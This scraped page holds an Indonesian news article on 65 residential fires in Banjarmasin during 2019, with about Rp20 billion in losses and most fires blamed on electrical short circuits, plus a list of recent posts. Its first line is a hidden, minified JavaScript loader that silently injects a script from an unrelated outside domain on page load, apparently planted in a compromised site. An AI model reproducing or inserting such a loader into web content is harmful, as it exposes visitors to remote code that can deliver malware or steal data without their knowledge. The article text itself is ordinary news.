(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Sepanjang 2019, Terjadi 65 Kali Kebakaran di Kota Banjarmasin, Kerugian Capai Rp20 Miliar!


BANJARMASIN, Musibah kebakaran seakan menjadi momok di Kota Banjarmasin. Bagaimana tidak, sepanjang bulan Agustus hingga Oktober 2019 saja, di mana puncak musim kemarau terjadi di bulan-bulan ini, telah beberapa kali terjadi kebakaran, terutama kebakaran pemukiman.

Kepala BPBD Kota Banjarmasin HM Hilmi mengakui, sedikitnya 65 kali kejadian kebakaran pemukiman terjadi di Kota Seribu Sungai ini.

“Dari awal tahun, dari Januari sudah 65 kali kejadian,” kata Hilmi ketika meninjau lokasi kebakaran di Kantor UPT Pasar Baru di Kertak Baru Ilir Banjarmasin, Kamis (24/10) siang.

Menurut Hilmi, jika dibandingkan tahun lalu, jumlah kejadian kebakaran di tahun 2019 ini sedikit meningkat. “Tidak terlalu banyak meningkatnya. Cuma, untuk kualitasnya tahun ini lebih parah,” terang Hilmi.

Hilmi mencontohkan kualitas kebakaran yang lebih parah, yaitu kejadian kebakaran di Alalak Selatan dan Alalak Utara beberapa waktu lalu, di mana kedua daerah ini merupakan daerah rawan kebakaran. “Untuk jumlah korban yang terdampak,” tegasnya.

Bicara soal nilai kerugian akibat kebakaran yang terjadi di ibukota Provinsi Kalsel ini, Hilmi menyebut nilai kerugiannya telah mencapai Rp20 miliar. “(Nilai kerugiannya) dari awal tahun ini,” sebutnya.

Dari 65 kali kejadian kebakaran, Hilmi mengatakan, sebagian besar disebabkan oleh arus pendek listrik. “90 persen disebabkan oleh arus pendek listrik,” katanya.

Kendati masih musim kemarau dan diprediksi akan memasuki musim penghujan di akhir Oktober, Hilmi menghimbau masyarakat Kota Banjarmasin untuk tetap waspada terhadap potensi kebakaran yang masih “gentayangan” di Kota Banjarmasin. “Kita himbau untuk memeriksa kembali instalasi listrik di rumah masing-masing. Terutama mungkin ada kabel yang terkelupas, colokan yang tidak terpakai atau rusak agar diperbaiki,” jelasnya.

Selain itu, Hilmi menekankan, agar masyarakat menggunakan instalasi listrik sesuai prosedur penyedia listrik, seperti PLN. “Untuk menghindari potensi kebakaran,” pungkasnya. (fikri)

Reporter : Fikri
Editor : Chell


Desy Arfianty

Recent Posts

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

3 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

3 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

6 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

10 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

18 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

19 jam ago

This website uses cookies.